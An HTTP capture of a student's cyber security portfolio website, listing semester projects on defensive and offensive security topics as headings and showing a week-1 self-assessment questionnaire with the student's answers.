GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> 